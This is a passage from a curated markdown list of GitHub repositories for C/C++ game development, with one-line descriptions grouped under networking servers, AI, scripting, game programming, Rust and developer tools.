- [libjson-rpc-cpp](https://github.com/cinemast/libjson-rpc-cpp) : C++ framework for json-rpc (json remote procedure call)
- [Game-NET](https://github.com/sp4cerat/Game-NET) : RPC Network Library for Multiplayer Games
- [grpc](https://github.com/grpc/grpc) : The C based gRPC (C++, Python, Ruby, Objective-C, PHP, C#)
- Server
- [nakama](https://github.com/heroiclabs/nakama) : Distributed server for social and realtime games and apps.
- [webby](https://github.com/deplinenoise/webby) : A tiny webserver for game development
- [yojimbo](https://github.com/networkprotocol/yojimbo) : A network library for client/server games with dedicated servers
- [seasocks](https://github.com/mattgodbolt/seasocks) : Simple, small, C++ embeddable webserver with WebSockets support
- [libhttpserver](https://github.com/etr/libhttpserver) : C++ library for creating an embedded Rest HTTP server (and more)
- [open-match](https://github.com/googleforgames/open-match) : Flexible, extensible, and scalable video game matchmaking.
- [hifi](https://github.com/highfidelity/hifi) : Open source client/server software for creating shared VR environments. Docs at http://docs.highfidelity.com We are hiring: http://highfidelity.com/jobs Also, PT work available at http://worklist.net
- [crow](https://github.com/ipkn/crow) : Crow is very fast and easy to use C++ micro web framework (inspired by Python Flask)
- [agones](https://github.com/googleforgames/agones) : Dedicated Game Server Hosting and Scaling for Multiplayer Games on Kubernetes
- [civetweb](https://github.com/civetweb/civetweb) : Embedded C/C++ web server
- [EmbeddableWebServer](https://github.com/hellerf/EmbeddableWebServer) : Cross-platform, single .h file HTTP server (Windows, Linux, Mac OS X)
- [libcluon](https://github.com/chrberger/libcluon) : libcluon is a small and efficient, single-file and header-only library written in modern C++ to power microservices.
- [mongoose](https://github.com/cesanta/mongoose) : Mongoose Embedded Web Server Library - Mongoose is more than an embedded webserver. It is a multi-protocol embedded networking library with functions including TCP, HTTP client and server, WebSocke…
- [yhs](https://github.com/tom-seddon/yhs) : Embeddable HTTP server.
- [Server_Information_Panel](https://github.com/LaGTeK/Server_Information_Panel) : Information Panel for DayZ SA
- [moon](https://github.com/sniper00/moon) : A cross-platform,lightweight,scalable game server framework written in C++, and support Lua Script
- [Game-Server-Configs](https://github.com/GameServerManagers/Game-Server-Configs) : A repo of game server configuration files used by LinuxGSM
## AI
[Back to top](#Index)
- [CppCompetitor](https://github.com/nikoladimitroff/CppCompetitor) : A program for dueling code bots.
- [Samodiva](https://github.com/nikoladimitroff/Samodiva) : A C++ library for AI stuff. Hopefully it won't be as unfinished as the majority of my other repos.
- Neural Network & Deep Learning
- [neural](https://github.com/achpile/neural) : Some plays with neural network
- [CppDNN](https://github.com/kmc7468/CppDNN) : Machine Learning for C++11
- [CubbyDNN](https://github.com/utilForever/CubbyDNN) : Deep learning framework using C++17 in a single header file
- [TinNet](https://github.com/AcrylicShrimp/TinNet) : A C++14 based deep learning library.
- [onnxruntime](https://github.com/microsoft/onnxruntime) : ONNX Runtime: cross-platform, high performance scoring engine for ML models
- [RobotChess](https://github.com/utilForever/RobotChess) : Auto Chess simulator using C++ with some reinforcement learning
- [tesseract](https://github.com/tesseract-ocr/tesseract) : Tesseract Open Source OCR Engine (main repository)
- [genann](https://github.com/codeplea/genann) : simple neural network library in ANSI C
- [plaidml](https://github.com/plaidml/plaidml) : PlaidML is a framework for making deep learning work everywhere.
- [ncnn](https://github.com/Tencent/ncnn) : ncnn is a high-performance neural network inference framework optimized for the mobile platform
- [EOgmaNeo](https://github.com/ogmacorp/EOgmaNeo) : Ogma - EOgmaNeo https://ogma.ai/
- [Dataset_Synthesizer](https://github.com/NVIDIA/Dataset_Synthesizer) : NVIDIA Deep learning Dataset Synthesizer (NDDS)
- [mace](https://github.com/XiaoMi/mace) : MACE is a deep learning inference framework optimized for mobile heterogeneous computing platforms.
- [pose-tensorflow](https://github.com/eldar/pose-tensorflow) : Human Pose estimation with TensorFlow framework
- [nvvl](https://github.com/NVIDIA/nvvl) : A library that uses hardware acceleration to load sequences of video frames to facilitate machine learning training
- [codi](https://github.com/whackashoe/codi) : CoDi is a cellular automaton model for spiking neural networks
- [Cranium](https://github.com/100/Cranium) : A portable, header-only, artificial neural network library written in C99
- [darknet](https://github.com/pjreddie/darknet) : Convolutional Neural Networks
- [tiny-dnn](https://github.com/tiny-dnn/tiny-dnn) : header only, dependency-free deep learning framework in C++14
- [TensorRT](https://github.com/NVIDIA/TensorRT) : TensorRT is a C++ library for high performance inference on NVIDIA GPUs and deep learning accelerators.
- [kann](https://github.com/attractivechaos/kann) : A lightweight C library for artificial neural networks
- [cONNXr](https://github.com/alrevuelta/cONNXr) : Pure C ONNX runtime with zero dependancies for embedded devices
- Path
- [recastnavigation](https://github.com/recastnavigation/recastnavigation) : Navigation-mesh Toolset for Games
- [NavMeshComponents](https://github.com/Unity-Technologies/NavMeshComponents) : High Level API Components for Runtime NavMesh Building
- [MicroPather](https://github.com/leethomason/MicroPather) : MicroPather is a path finder and A* solver (astar or a-star) written in platform independent C++ that can be easily integrated into existing code. MicroPather focuses on being a path finding engine…
- [rsmotion](https://github.com/BasGeertsema/rsmotion) : RSMotion - C++ Library for Reeds-Shepp Cars
- [invariant-ekf](https://github.com/RossHartley/invariant-ekf) : C++ library to implement invariant extended Kalman filtering for aided inertial navigation.
- [lib_2d](https://github.com/I3ck/lib_2d) : A c++ library for paths defined by points within the 2d space
- [cartographer](https://github.com/googlecartographer/cartographer) : Cartographer is a system that provides real-time simultaneous localization and mapping (SLAM) in 2D and 3D across multiple platforms and sensor configurations.
- [Swarmz](https://github.com/Cultrarius/Swarmz) : A free, header-only C++ swarming (flocking) library for real-time applications
- [Dubins-Curves](https://github.com/AndrewWalker/Dubins-Curves) : Path generation for the Dubin's car
## Scripting
[Back to top](#Index)
- [scriptorium](https://github.com/r-lyeh-archived/scriptorium) : Game Scripting Languages benchmarked
- [craftinginterpreters](https://github.com/munificent/craftinginterpreters) : Repository for the book "Crafting Interpreters"
- [ChaiScript](https://github.com/ChaiScript/ChaiScript) : Embedded Scripting Language Designed for C++
- [CppSharp](https://github.com/mono/CppSharp) : Tools and libraries to glue C/C++ APIs to high-level languages
- [Ark](https://github.com/SuperFola/Ark) : Ark is a small, fast, functionnal and scripting language for video games
- [hhvm](https://github.com/facebook/hhvm) : A virtual machine for executing programs written in Hack.
- [cpp-embedding-mono](https://github.com/hschlichter/cpp-embedding-mono) : Small sample on how to embed the mono runtime into a C++ program.
- [wren](https://github.com/wren-lang/wren) : The Wren Programming Language
- [v](https://github.com/vlang/v) : Simple, fast, safe, compiled language for developing maintainable software. Compiles itself in <1s. 1.0 release in December 2019. https://vlang.io
- [NativeJIT](https://github.com/BitFunnel/NativeJIT) : A C++ expression -> x64 JIT
- [kit](https://github.com/kitlang/kit) : Kit: a magical, high performance programming language, designed for game development. Pre-alpha!
- [pure-bash-bible](https://github.com/dylanaraps/pure-bash-bible) : A collection of pure bash alternatives to external processes.
- [swig](https://github.com/swig/swig) : SWIG is a software development tool that connects programs written in C and C++ with a variety of high-level programming languages.
- [smoll-vm](https://github.com/SuperFola/smoll-vm) : just a smoll vm in c++14
- [haxe](https://github.com/HaxeFoundation/haxe) : Haxe - The Cross-Platform Toolkit
- [c4](https://github.com/rswier/c4) : C in four functions
- [oc](https://github.com/garettbass/oc) : Macro magic for declaring/calling Objective-C APIs from C11 or C++. Preloads selectors, chooses the correct objc_msgSend to call per method/platform.
- [breadboard](https://github.com/google/breadboard) : C++ graph based event system
- [Cello](https://github.com/orangeduck/Cello) : Higher level programming in C
- [HCode](https://github.com/Hammurabi/HCode) : A scripting language created mainly for game engines
- Lua
- [luazdf](https://github.com/aiq/luazdf) : LuaZDF - Lua Zero Dependency Functions
- [luavela](https://github.com/eliasdaler/luavela) : Implementation of Lua 5.1, originally a fork of LuaJIT 2.0
- [raylib-lua-sol](https://github.com/RobLoach/raylib-lua-sol) : A simple and easy-to-use Lua library to enjoy videogames programming
- [LuaTalk](https://github.com/Sygmei/LuaTalk) : Code examples used in my Lua talk
- [debugger.lua](https://github.com/slembcke/debugger.lua) : A simple, embedabble CLI debugger for Lua.
- [lua-vec](https://github.com/graphitemaster/lua-vec) : highly efficent, caching, copy-on-write lua vector math library
- [lunatic](https://github.com/shiinamiyuki/lunatic) : lunatic: a toy lua interpreter
- [kaun](https://github.com/pfirsich/kaun) : Lua module for 3D graphics to be used with löve (http://love2d.org)
- [lua](https://github.com/lua/lua) : The Lua repo, as seen by the Lua team. Mirrored irregularly. Please DO NOT send pull requests. Send issues/patches to the Lua mailing list https://www.lua.org/lua-l.html
- [LuaPlusPlus](https://github.com/Rseding91/LuaPlusPlus) : Lua 5.3.4 re-written in C++ 17
- [kaguya](https://github.com/satoren/kaguya) : C++ binding to Lua
- [hsluv-lua](https://github.com/hsluv/hsluv-lua) : Lua implementation of HSLuv (revision 4)
- [Luna](https://github.com/XyronLabs/Luna) : Create simple visual sketches in Lua using SFML
- [lutok2](https://github.com/soulik/lutok2) : Advanced version of lutok C++/Lua binding
- [sol2](https://github.com/ThePhD/sol2) : Sol3 (sol2 v3.0) - a C++ <-> Lua API wrapper with advanced features and top notch performance - is here, and it's great! Documentation:
- [lualite](https://github.com/user1095108/lualite) : a one header library for creating Lua bindings to C++
- [lua-intf](https://github.com/SteveKChiu/lua-intf) : A binding between C++11 and Lua language
- [Selene](https://github.com/jeremyong/Selene) : Simple C++11 friendly header-only bindings to Lua
- [TypeScriptToLua](https://github.com/TypeScriptToLua/TypeScriptToLua) : Typescript to lua transpiler. https://typescripttolua.github.io/
- [Lua-Low-Level](https://github.com/gligneul/Lua-Low-Level) : Per function, Lua JIT using LLVM C++ toolchain
- [lua-languages](https://github.com/hengestone/lua-languages) : Languages that compile to Lua
- [luvit](https://github.com/luvit/luvit) : Lua + libUV + jIT = pure awesomesauce
- [luamod](https://github.com/DontBelieveMe/luamod) : C++11 API for binding Lua and C++, targeted at scripting for games
- Python
- [zippypy](https://github.com/shooshx/zippypy) : A simple, lightweight Python 2.7 interpreter, with predictable memory management and without global locks.
- [pybind11](https://github.com/pybind/pybind11) : Seamless operability between C++11 and Python
- [pystring](https://github.com/imageworks/pystring) : C++ functions matching the interface and behavior of python string methods with std::string
- [python-cheatsheet](https://github.com/gto76/python-cheatsheet) : Comprehensive Python Cheatsheet
- [zippypy](https://github.com/intigua/zippypy) : A simple, lightweight Python 2.7 interpreter, with predictable memory management and without global locks.
- Javascript
- [jerryscript](https://github.com/ARMmbed/jerryscript) : Ultra-lightweight JavaScript engine for the Internet of Things. http://samsung.github.io/jerryscript
- [em-dosbox](https://github.com/dreamlayers/em-dosbox) : An Emscripten port of DOSBox
- [duktape](https://github.com/svaarala/duktape) : Duktape - embeddable Javascript engine with a focus on portability and compact footprint
- [mjs](https://github.com/cesanta/mjs) : Embedded JavaScript engine for C/C++
- [v8](https://github.com/v8/v8) : The official mirror of the V8 Git repository
## GameProgramming
[Back to top](#Index)
- [Nodable](https://github.com/berdal84/Nodable) : a node-able bidirectionnal expression editor.
- [nodeeditor](https://github.com/paceholder/nodeeditor) : Qt Node Editor. Dataflow programming framework
- [FSM](https://github.com/entt-dev/FSM) : finite-state-machine demo
- [lasso](https://github.com/ggabriel96/lasso) : A generic game loop implementation in C++
- [aabbcc](https://github.com/lohedges/aabbcc) : Dynamic AABB trees in C++ with support for periodic systems.
- [distance-occlusion](https://github.com/andrewwillmott/distance-occlusion) : A library of distance and occlusion generation routines
- [cppfsm](https://github.com/eglimi/cppfsm) : A simple, generic, header-only state machine implementation for C++.
- [Behavior-Tree](https://github.com/miccol/Behavior-Tree) : A lightweight library of Behavior Trees Library in C++.
- [Achieve](https://github.com/Dovyski/Achieve) : Library to manage and implement achievements in a game.
- [Discregrid](https://github.com/InteractiveComputerGraphics/Discregrid) : A static C++ library for the generation of discrete functions on a box-shaped domain. This is especially suited for the generation of signed distance fields.
- [DesignPattern](https://github.com/wxjeacen/DesignPattern) :
- [game-programming-patterns](https://github.com/munificent/game-programming-patterns) : Source repo for the book
- [fsm-variant](https://github.com/mpusz/fsm-variant) : Finite State Machine implementation using std::variant
- [camera_demo](https://github.com/prideout/camera_demo) : demo for par_camera_control.h
- [godot_entt_net_example](https://github.com/portaloffreedom/godot_entt_net_example) : A simple example on how to use entt (https://github.com/skypjack/entt) and GameNetworkingSockets (https://github.com/ValveSoftware/GameNetworkingSockets) within godot
- EntityComponentSystem
- [ecs-example](https://github.com/eigenbom/ecs-example) : An example of an ECS architecture in C++
- [Diana](https://github.com/discoloda/Diana) : Entity Component system like Artemis implemented in C
- [entt-reactive](https://github.com/saltpowered/entt-reactive) : An experimental sprite rendering setup utilizing SSBO's, Threading, EnTT reactive systems, and array-textures based sprite caching.
- [minECS](https://github.com/Alan-FGR/minECS) : Minimal hackable C# ECS
- [lent](https://github.com/nem0/lent) : the Donald Trump of the ECS libraries
- [anax](https://github.com/miguelmartin75/anax) : An open source C++ entity system.
- [ecs](https://github.com/SergeyMakeev/ecs) : Thoughts about entity-component-system
- [flecs](https://github.com/SanderMertens/flecs) : A Multithreaded Entity Component System written for C89 & C99
- [entt](https://github.com/skypjack/entt) : Gaming meets modern C++ - a fast and reliable entity-component system (ECS) and much more
- [corgi](https://github.com/google/corgi) : C++ entity-component system
- [ECS](https://github.com/redxdev/ECS) : C++ single-header entity component system library
- [EntityPlus](https://github.com/Yelnats321/EntityPlus) : A C++14 Entity Component System
- [ecst](https://github.com/SuperV1234/ecst) : [WIP] Experimental C++14 multithreaded compile-time entity-component-system library.
- [entityx](https://github.com/alecthomas/entityx) : EntityX - A fast, type-safe C++ Entity-Component system
- [dynamix](https://github.com/iboB/dynamix) : A new take on polymorphism in C++
- [met-ecs](https://github.com/guillaume-haerinck/met-ecs) : A simple ECS library made for learning purposes (header-only)
- Inputs
- [XJoy](https://github.com/sam0x17/XJoy) : Use Nintendo Switch JoyCons as a virtual Xbox 360 controller in Windows
- [drishti](https://github.com/elucideye/drishti) : Real time eye tracking for embedded and mobile devices.
- [openpose](https://github.com/CMU-Perceptual-Computing-Lab/openpose) : OpenPose: Real-time multi-person keypoint detection library for body, face, hands, and foot estimation
- [libgamepad](https://github.com/mtwilliams/libgamepad) : Cross-platform library for gamepad input. MIT licensed.
- [gainput](https://github.com/jkuhlmann/gainput) : Cross-platform C++ input library supporting gamepads, keyboard, mouse, touch http://gainput.johanneskuhlmann.de/
- [gesture_recognition](https://github.com/bautolp/gesture_recognition) : UVIC ECE 499 Real-Time Gesture Recognition Project
- [OpenHMD](https://github.com/OpenHMD/OpenHMD) : Free and Open Source API and drivers for immersive technology.
- [EasyTab](https://github.com/ApoorvaJ/EasyTab) : Single-header multi-platform tablet library
- [libue](https://github.com/houqp/libue) : A self-contained minimal library for interacting with Linux hot-plug events
- Maps
- [tiled](https://github.com/bjorn/tiled) : A flexible level editor
- [tmxlite](https://github.com/fallahn/tmxlite) : lightweight C++14 parser for Tiled tmx files
- Procedural
- [SpaceshipGenerator](https://github.com/a1studmuffin/SpaceshipGenerator) : A Blender script to procedurally generate 3D spaceships
- [Procedural-Cities](https://github.com/magnificus/Procedural-Cities) : master thesis
- [termProject](https://github.com/jcbecker/termProject) : Terrain generator with 5 visually distinct biomes, spread them in regions and smooth their borders
- [libseed](https://github.com/GrimshawA/libseed) : Procedural Content Generation Library for C++
- [proctree](https://github.com/jarikomppa/proctree) : Procedural tree mesh generator (and editor)
- [World-Generator](https://github.com/Moneyl/World-Generator) : Procedural world generator. Generates a height map and then applies temperature, rainfall, and river simulations to it to form a world map.
- [FantasyMapGenerator](https://github.com/rlguy/FantasyMapGenerator) : A fantasy map generator based on Martin O'Leary's "Generating fantasy map" notes
- [procgen](https://github.com/Epholys/procgen) : Procedural Generation Experiments
- [rant](https://github.com/TheBerkin/rant) : Rant – The all-purpose procedural text library
- [SDS](https://github.com/eigenbom/SDS) : Procedural generation of organic 3D geometry
- [fugu](https://github.com/eigenbom/fugu) : Fugu/fg is a system for procedurally generating animated geometric forms in real-time. Fugu can be downloaded from http://bp.io/fugu, an online reference and gallery is also located there.
- [generator](https://github.com/ilmola/generator) : A procedural geometry generation library for C++11
- [Procedural-Terrain-Estimator](https://github.com/Snowapril/Procedural-Terrain-Estimator) : Generate Height map with Generator (OpenGL and imgui) and Construct Splat Map with generated height map using Algorithm(DPS, BFS, Gradient Descent ... etc) . At Renderer, with height map and blend …
- Integration
- [Playnite](https://github.com/JosefNemec/Playnite) : Open source video game library manager with support for 3rd party libraries like Steam, GOG, Origin, Battle.net and Uplay. Including game emulation support, providing one unified interface for your…
- [game-jolt-api-cpp-library](https://github.com/MausGames/game-jolt-api-cpp-library) : C++ Library to connect games with Game Jolt (https://gamejolt.com)
- [CSteamworks](https://github.com/rlabrecque/CSteamworks) : C bindings for Steamworks
- [enkiWS](https://github.com/juliettef/enkiWS) : Web Services for game developers on Google App Engine
- [steam-audio](https://github.com/ValveSoftware/steam-audio) : Steam Audio
- [tiniest-analytics](https://github.com/Pintea/tiniest-analytics) : VERY simple cross-platform C++ analytics for games (using Google Analytics)
- [BRINDIE-FREE](https://github.com/sarienn/BRINDIE-FREE) : BRINDIE FREE - an .ai sourcefile with sizes for art assets needed to create Facebook page, Twitter profile, Steam Store page and Steam Developer page
- [Proton](https://github.com/ValveSoftware/Proton) : Compatibility tool for Steam Play based on Wine and additional components
- [steam-runtime-helpers](https://github.com/jorgenpt/steam-runtime-helpers) :
- Games
- [endless-sky](https://github.com/endless-sky/endless-sky) : Space exploration, trading, and combat game.
- [Cytopia](https://github.com/CytopiaTeam/Cytopia) : A city building simulation game
- [mudpp](https://github.com/jfalcou/mudpp) : C++17 exploration of a classic MUD like game
- [magarena](https://github.com/magarena/magarena) : Magarena is a single-player fantasy card game played against a computer opponent.
- [robotligan](https://github.com/Trisslotten/robotligan) : Multiplayer football game
- [VVVVVV](https://github.com/TerryCavanagh/VVVVVV) : The source code to VVVVVV! http://thelettervsixtim.es/
- [DTL_RogueLike](https://github.com/Kasugaccho/DTL_RogueLike) : : RogueLike (Dungeon Template Library)
- [UniformDieCast](https://github.com/TheMaverickProgrammer/UniformDieCast) : C++11 provides chainable and iterable object for uniform die casts. Useful for statistics or table top RPG simulations.
## Rust
[Back to top](#Index)
- [iced](https://github.com/hecrj/iced) : A renderer-agnostic GUI library for Rust, inspired by Elm
- [tetra](https://github.com/17cupsofcoffee/tetra) : A simple 2D game framework written in Rust
- [arewegameyet](https://github.com/doppioslash/arewegameyet) : The repository for arewegameyet.rs
- [rust-ecosystem](https://github.com/EmbarkStudios/rust-ecosystem) : Rust wants & tracking for Embark
- [treeflection](https://github.com/rukai/treeflection) : A rust library that provides pseudo-reflection for structs and enums
- [wg](https://github.com/rust-gamedev/wg) : Coordination repository of the Game Development Working Group
- [reference](https://github.com/rust-lang-nursery/reference) : The Rust Reference
- [shipyard](https://github.com/leudz/shipyard) : Entity Component System written in Rust
- [physx-rs](https://github.com/EmbarkStudios/physx-rs) : Rust binding and wrapper over NVIDIA PhysX
- [ndarray](https://github.com/rust-ndarray/ndarray) : ndarray: an N-dimensional array with array views, multidimensional slicing, and efficient operations
- [amethyst](https://github.com/amethyst/amethyst) : Data-oriented and data-driven game engine written in Rust
- [cheats.rs](https://github.com/ralfbiedert/cheats.rs) : Rust Language Cheat Sheet - https://cheats.rs
- [mathbench-rs](https://github.com/bitshifter/mathbench-rs) : Comparing performance of Rust math libraries for common 3D game and graphics tasks
- [vulkano](https://github.com/vulkano-rs/vulkano) : Safe and rich Rust wrapper around the Vulkan API
- [imgui-rs](https://github.com/Gekkio/imgui-rs) : Rust bindings for dear imgui
- [chip8](https://github.com/DrLynix/chip8) : Yet another chip8 interpreter in rust
- [gfx](https://github.com/gfx-rs/gfx) : A low-overhead Vulkan-like GPU API for Rust.
- [rustcxx](https://github.com/google/rustcxx) : rustcxx: Using C++ from Rust made easy
- [ngx-rust](https://github.com/nginxinc/ngx-rust) : Rust binding for NGINX
- [diesel](https://github.com/diesel-rs/diesel) : A safe, extensible ORM and Query Builder for Rust
- [dynstack](https://github.com/archshift/dynstack) : A stack for rust trait objects that minimizes allocations
- [cc-rs](https://github.com/alexcrichton/cc-rs) : Rust library for build scripts to compile C/C++ code into a Rust library
- [rust](https://github.com/rust-lang/rust) : Empowering everyone to build reliable and efficient software.
- [unosolo](https://github.com/SuperV1234/unosolo) : Work-in-progress Rust application that converts C++ header-only libraries to single self-contained headers.
- [r4cppp](https://github.com/nrc/r4cppp) : Rust for C++ programmers
- [game-of-life](https://github.com/DrLynix/game-of-life) :
- [rendy](https://github.com/amethyst/rendy) : State of the art "build your own engine" kit powered by gfx-hal
- [u2N](https://github.com/archshift/u2N) : Fixed-size, zero-allocation arithmetic suitable for embedded systems
- [glam-rs](https://github.com/bitshifter/glam-rs) : A simple and fast linear algebra library for games and graphics
- [wgpu](https://github.com/gfx-rs/wgpu) : Native WebGPU implementation based on gfx-hal
- [rs-tiled](https://github.com/mattyhall/rs-tiled) : Reads files from the Tiled editor into Rust
- [awesome-rust](https://github.com/rust-unofficial/awesome-rust) : A curated list of Rust code and resources.
- [Nazarust](https://github.com/NazaraEngine/Nazarust) : An experiment to rewrite NazaraEngine using Rust
- [ggez](https://github.com/ggez/ggez) : Rust library to create a Good Game Easily
- [render-rs](https://github.com/gwihlidal/render-rs) : Collection of rust crates providing rendering abstractions.
## Tools
[Back to top](#Index)
- [build2](https://github.com/build2/build2) : build2 build system
- [rcrl](https://github.com/onqtam/rcrl) : Read-Compile-Run-Loop: tiny and powerful interactive C++ compiler (REPL)
- [LibreSprite](https://github.com/LibreSprite/LibreSprite) : Animated sprite editor & pixel art tool -- Fork of the last GPLv2 commit of Aseprite
- [smldbg](https://github.com/progbits/smldbg) : A small, dependency free debugger.
- [training-kit](https://github.com/github/training-kit) : Open source cheat sheets for Git and GitHub
- [SZZUnleashed](https://github.com/wogscpar/SZZUnleashed) : An implementation of the SZZ algorithm, i.e., an approach to identify bug-introducing commits.
- [ClangBuildAnalyzer](https://github.com/aras-p/ClangBuildAnalyzer) : Clang build analysis tool using -ftime-trace
- [tev](https://github.com/Tom94/tev) : High dynamic range (HDR) image comparison tool for graphics people with an emphasis on OpenEXR images.
- [exception_reporter](https://github.com/nlohmann/exception_reporter) : A tool to collect the exceptions that can reach a C++ function
- [ScreenToGif](https://github.com/NickeManarin/ScreenToGif) : ScreenToGif allows you to record a selected area of your screen, edit and save it as a gif or video.
- [dxil-signing](https://github.com/gwihlidal/dxil-signing) : Utility to sign DXIL code after compilation
- [nvtop](https://github.com/Syllo/nvtop) : NVIDIA GPUs htop like monitoring tool
- [3dtiles](https://github.com/fanvanzh/3dtiles) : The fastest tools for 3dtiles convert in the world!
- [greenshot](https://github.com/greenshot/greenshot) : Greenshot for Windows - Report bugs & features go here: https://greenshot.atlassian.net or look for information on:
- [Dependencies](https://github.com/lucasg/Dependencies) : A rewrite of the old legacy software "depends.exe" in C# for Windows devs to troubleshoot dll load dependencies issues.
- [butler](https://github.com/itchio/butler) : Command-line itch.io helper
- [gh-card](https://github.com/nwtgck/gh-card) :
- [FNode](https://github.com/victorfisac/FNode) : Tool based in nodes to build GLSL shaders without any programming knowledge written in C using OpenGL and GLFW.
- [NormalmapGenerator](https://github.com/Theverat/NormalmapGenerator) : A simple program that converts images into normal maps
- [Laigter](https://github.com/azagaya/laigter) : A simple tool for automatic generation of normal/specular/parallax/occlussion maps for dynamic lights in games. Mainly focused for 2D sprites.
- [cppclean](https://github.com/myint/cppclean) : Finds problems in C++ source that slow development of large code bases
- [veles](https://github.com/codilime/veles) : Binary data analysis and visualization tool
- [sanitizers](https://github.com/google/sanitizers) : AddressSanitizer, ThreadSanitizer, MemorySanitizer
- [sprite-sheet-packer](https://github.com/amakaseev/sprite-sheet-packer) : Sprite sheet packer
- [CryLivePlusPlus](https://github.com/sunnlok/CryLivePlusPlus) :
- [HlslTools](https://github.com/tgjones/HlslTools) : A Visual Studio extension that provides enhanced support for editing High Level Shading Language (HLSL) files
- [include-what-you-use](https://github.com/include-what-you-use/include-what-you-use) : A tool for use with clang to analyze #includes in C and C++ source files
- [dust3d](https://github.com/huxingyi/dust3d) : Dust3D is a cross-platform open-source 3D modeling software. Auto UV unwrapping, auto rigging with PBR Material support, pose and motion authoring all in one.
- [shaderc](https://github.com/google/shaderc) : A collection of tools, libraries, and tests for Vulkan shader compilation.
- [SPIRV-Tools](https://github.com/KhronosGroup/SPIRV-Tools) :
- [opentoonz](https://github.com/opentoonz/opentoonz) : OpenToonz - An open-source full-featured 2D animation creation software
- [waifu2x-ncnn-vulkan](https://github.com/nihui/waifu2x-ncnn-vulkan) : waifu2x converter ncnn version, runs fast on intel / amd / nvidia GPU with vulkan
- [IntelShaderAnalyzer](https://github.com/GameTechDev/IntelShaderAnalyzer) : Command line tool for offline shader ISA inspection.
- [polyedit](https://github.com/vkvd/polyedit) : 2d lowpoly editor based on http://raincomplex.net/lowpolyeditor/
- [PlotJuggler](https://github.com/facontidavide/PlotJuggler) : The timeseries visualization tool that you deserve
- [incbin](https://github.com/graphitemaster/incbin) : Include binary files in C/C++
- [ToolsOfTheTrade](https://github.com/cjbarber/ToolsOfTheTrade) : Tools of The Trade, from Hacker News.
- [hexembed](https://github.com/codeplea/hexembed) : A small utility to embed files into C or C++ programs.
- [NMS-Tools](https://github.com/HugoPeters/NMS-Tools) : Set of tools for No Man's Sky
- [fontforge](https://github.com/fontforge/fontforge) : Free (libre) font editor for Windows, Mac OS X and GNU+Linux
- [TextureGenerator-Online](https://github.com/cpetry/TextureGenerator-Online) : Procedural texture creator Online
- [NormalMap-Online](https://github.com/cpetry/NormalMap-Online) : NormalMap Generator Online
- [travis_cpp_tutorial](https://github.com/richelbilderbeek/travis_cpp_tutorial) : Tutorial how to use Travis CI with C++
- [android-ndk](https://github.com/googlesamples/android-ndk) : Android NDK samples with Android Studio
- [fips](https://github.com/floooh/fips) : High-level build system for distributed, multi-platform C/C++ projects.
- [reopt](https://github.com/GaloisInc/reopt) : A tool for analyzing x86-64 binaries.
- [cppcheck](https://github.com/danmar/cppcheck) : static analysis of C/C++ code
- [cpp-forensics](https://github.com/IMQS/cpp-forensics) : C++ crash dump server
- [cpack](https://github.com/OnyxFlames/cpack) : File-to-sourcecode packer.
- [templight](https://github.com/mikael-s-persson/templight) : Templight is a Clang-based tool to profile the time and memory consumption of template instantiations and to perform interactive debugging sessions to gain introspection into the template instantia…
- [stack-on-a-budget](https://github.com/255kb/stack-on-a-budget) : A collection of services with great free tiers for developers on a budget
- [mkvfx](https://github.com/meshula/mkvfx) : Build scripts for libraries commonly used in games, film and vfx
- [masterplan](https://github.com/SolarLune/masterplan) : MasterPlan is a project management software / visual idea board software. It attempts to be easy to use, lightweight, and fun.
- [public-apis](https://github.com/public-apis/public-apis) : A collective list of free APIs for use in software and web development.
- [docker](https://github.com/foonathan/docker) : Lightweight containers for building C++
- [grafana](https://github.com/grafana/grafana) : The tool for beautiful monitoring and metric analytics & dashboards for Graphite, InfluxDB & Prometheus & More
- [opengametools](https://github.com/jpaver/opengametools) : A set of open c++ game development tools that are lightweight, easy-to-integrate and free to use. Currently hosting a magicavoxel .vox full scene loader.
- [cpp-dependencies](https://github.com/tomtom-international/cpp-dependencies) : Tool to check C++ #include dependencies (dependency graphs created in .dot format)
- [pubgrub](https://github.com/vector-of-bool/pubgrub) : Pubgrub dependency resolution algorithm for C++
- [pacm](https://github.com/sourcey/pacm) : C++ front-end package manager for embedding and redistributing with native applications
- [Arbiter](https://github.com/ArbiterLib/Arbiter) : Dependency manager library that supports decentralization
- [oss-fuzz](https://github.com/google/oss-fuzz) : OSS-Fuzz - continuous fuzzing of open source software.
- Visual Studio Extensions
- [SPIRV-VSExtension](https://github.com/SaschaWillems/SPIRV-VSExtension) : SPIR-V extension for Visual Studio
- [asm-dude](https://github.com/HJLebbink/asm-dude) : Visual Studio extension for assembly syntax highlighting and code completion in assembly files and the disassembly window
- [fastbuild](https://github.com/fastbuild/fastbuild) : High performance build system for Windows, OSX and Linux. Supporting caching, network distribution and more.
- [LivePP](https://github.com/kitelightning/LivePP) : A UE4 plugin wrapper for Molecular Matter's Live++ Hot-Reloading Library
- [ue4-vs-extensions](https://github.com/hackalyze/ue4-vs-extensions) : Useful UE4 Visual Studio extensions.
- [GLSL](https://github.com/danielscherzer/GLSL) : VSIX Project that provides GLSL language integration.
- [UnityMixedCallstack](https://github.com/Unity-Technologies/UnityMixedCallstack) : Visual Studio native debugger extension to help debug native applications using Mono.
- [vs-chromium](https://github.com/chromium/vs-chromium) : A Visual Studio extension containing a collection of tools to help contributing code to the Chromium project.
- [VSDebugPro](https://github.com/ovidiuvio/VSDebugPro) : Enhanced debugging for C/C++. Dump blocks of data, load data in memory and more.
- [CompileTimer](https://github.com/janwilmans/CompileTimer) : Set of tests to benchmark the compile time of c++ constructs
- [TestAdapter_Catch2](https://github.com/JohnnyHendriks/TestAdapter_Catch2) : Visual Studio Test Adapter for Catch2
- [vscode-shader](https://github.com/stef-levesque/vscode-shader) : Shader languages support for VS Code
- [VS-ColorThemes](https://github.com/microsoft/VS-ColorThemes) : Visual Studio Extension that installs additional color themes
- Git
- [git-flight-rules](https://github.com/k88hudson/git-flight-rules) : Flight rules for git
- [gitsuggest](https://github.com/csurfer/gitsuggest) : A tool to suggest github repositories based on the repositories you have shown interest in.
- Projects
- [bscxx](https://github.com/Elkantor/bscxx) : BSCXX (for BootStrap CXX project) is a C++ package manager.
- [Sharpmake](https://github.com/ubisoftinc/Sharpmake) : Sharpmake is an open-source C#-based solution for generating project definition files, such as Visual Studio projects and solutions, GNU makefiles, Xcode projects, etc.
- [poac](https://github.com/poacpm/poac) : Package manager for C++
- [ninja](https://github.com/ninja-build/ninja) : a small build system with a focus on speed
- [conan-google-benchmark](https://github.com/mpusz/conan-google-benchmark) : Conan recipe for Google Benchmark library
